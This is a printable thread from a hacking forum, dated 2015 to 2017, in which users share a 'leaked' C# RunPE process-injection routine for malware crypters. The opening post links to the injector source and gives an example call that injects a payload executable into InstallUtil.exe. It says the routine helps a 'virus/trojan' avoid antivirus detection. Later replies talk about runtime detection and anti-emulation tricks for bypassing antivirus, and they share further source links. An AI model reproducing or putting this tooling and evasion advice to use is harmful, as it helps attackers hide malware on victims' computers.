[C#] [Leak] Menalix's Private RunPE (Injects everything)

[C#] [Leak] Menalix's Private RunPE (Injects everything) - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework)
+--- Thread: [C#] [Leak] Menalix's Private RunPE (Injects everything) (/Thread-C-Leak-Menalix-s-Private-RunPE-Injects-everything)

Pages: 1 2

[C#] [Leak] Menalix's Private RunPE (Injects everything) - ɘxɘ - 12-25-2015

Requirements:
Any Windows System (x86, x64)
.NET Framework 2.0

Possible Injections:

Using 64bit System:

Code:
[CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(AnyCPU)]
[CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x64)]
[CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x86)]
[CallerEXE(AnyCPU)]-[PayloadEXE(x64)] -> [TargetEXE(AnyCPU)]
[CallerEXE(AnyCPU)]-[PayloadEXE(x64)] -> [TargetEXE(x64)]
[CallerEXE(AnyCPU)]-[PayloadEXE(x86)] -> [TargetEXE(AnyCPU)]
[CallerEXE(x64)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(AnyCPU)]
[CallerEXE(x64)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x64)]
[CallerEXE(x64)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x86)]
[CallerEXE(x64)]-[PayloadEXE(x64)] -> [TargetEXE(AnyCPU)]
[CallerEXE(x64)]-[PayloadEXE(x64)] -> [TargetEXE(x64)]
[CallerEXE(x64)]-[PayloadEXE(x86)] -> [TargetEXE(AnyCPU)]
[CallerEXE(x86)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x86)]
[CallerEXE(x86)]-[PayloadEXE(x86)] -> [TargetEXE(x86)]

Using 32bit System:

Code:
[CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(AnyCPU)]
[CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU] -> [TargetEXE(x86)]
[CallerEXE(AnyCPU)]-[PayloadEXE(x86)] -> [TargetEXE(x86)]
[CallerEXE(x86)]-[PayloadEXE(x86)] -> [TargetEXE(x86)]
[CallerEXE(x86)]-[PayloadEXE(AnyCPU] -> [TargetEXE(x86)]
[CallerEXE(x86)]-[PayloadEXE(x86)] -> [TargetEXE(AnyCPU)]
[CallerEXE(x86)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(AnyCPU)]

All .NET Crypters use RunPE's only able to inject x86 to x86, some of them don't even work when called from an anycpu or x64 compiled exe. This RunPE is the first public to give you all injection options which can be done. Which means you can target the "Framework64" folder or even just random .NET exe's and doesn't have to go for some specific ones. As many AV's modules and more is 32bit compiled, having a 64bit RunPE together with a 64bit virus/trojan can benefit a lot in terms of detection.

Video:
https://www.youtube.com/watch?v=k2pLF56gXXw

[hide]MenaPE: http://files.pulses.xyz/#/view/file/ghycprdsqd4pfwufkzrv/MenaPE.txt
NativeMethods: http://files.pulses.xyz/#/view/file/nc9ndvaribc7tmmh3knj/NativeMethods.txt

Example Usage:

Code:
int num = 0;
MenaRunPE.Run(Path.Combine(System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(), "InstallUtil.exe"), "", File.ReadAllBytes(@"C:\payload.exe"), 4, ref num);

@Killpot

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - Killpot - 12-27-2015

Ye! I remember writing a thread on how to use this etc. I found that in practice though it was very unstable, and wasn't very consistent, I contacted Menalix and he said that he had intentionally left if unfinished and if people wanted to figure out how to get it working properly they would have to figure it out for themselves. However this runpe looks modified from the origional, where did you find it?

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - ɘxɘ - 12-27-2015

(12-27-2015, 07:49 PM)Killpot Wrote: Ye! I remember writing a thread on how to use this etc. I found that in practice though it was very unstable, and wasn't very consistent, I contacted Menalix and he said that he had intentionally left if unfinished and if people wanted to figure out how to get it working properly they would have to figure it out for themselves. However this runpe looks modified from the origional, where did you find it?

Sources

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - Killpot - 12-28-2015

(12-27-2015, 08:29 PM)hype Wrote:
(12-27-2015, 07:49 PM)Killpot Wrote: Ye! I remember writing a thread on how to use this etc. I found that in practice though it was very unstable, and wasn't very consistent, I contacted Menalix and he said that he had intentionally left if unfinished and if people wanted to figure out how to get it working properly they would have to figure it out for themselves. However this runpe looks modified from the origional, where did you find it?

Sources

Ohh? Interesting, I've tested it and looked into it and this is much better than the one he posted on HF and on his blog with dynamic calling etc. Great post.

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - ɘxɘ - 12-28-2015

(12-28-2015, 02:49 AM)Killpot Wrote:
(12-27-2015, 08:29 PM)hype Wrote:
(12-27-2015, 07:49 PM)Killpot Wrote: Ye! I remember writing a thread on how to use this etc. I found that in practice though it was very unstable, and wasn't very consistent, I contacted Menalix and he said that he had intentionally left if unfinished and if people wanted to figure out how to get it working properly they would have to figure it out for themselves. However this runpe looks modified from the origional, where did you find it?

Sources

Ohh? Interesting, I've tested it and looked into it and this is much better than the one he posted on HF and on his blog with dynamic calling etc. Great post.

I tend to make those.

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - Hansbald - 01-10-2016

I just tested it out and it seems to work fine, don't know the runtime detection rate yet tho

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - Killpot - 01-10-2016

(01-10-2016, 01:20 PM)Hansbald Wrote: I just tested it out and it seems to work fine, don't know the runtime detection rate yet tho

It'll be detected runtime for sure, every runpe is for the most part, you'll have to get some good anti-emulation functions to bypass it.

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - DoctorMixterdo - 06-05-2017

someone have the source? the link is down. Can someone reupload the file or source? thanks..

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - DoctorMixterdo - 06-05-2017

I have vb.net version
https://pastebin.com/Ziqk57Qn
someone has for C#¿¿¿??

RE: [C#] [Leak] Menalix's Private RunPE (Injects everything) - Shadow.walker - 06-05-2017

(06-05-2017, 06:48 PM)davinciomar Wrote: I have vb.net version
https://pastebin.com/Ziqk57Qn
someone has for C#¿¿¿??

Here u go I've convert it but haven't tested try it by your self C#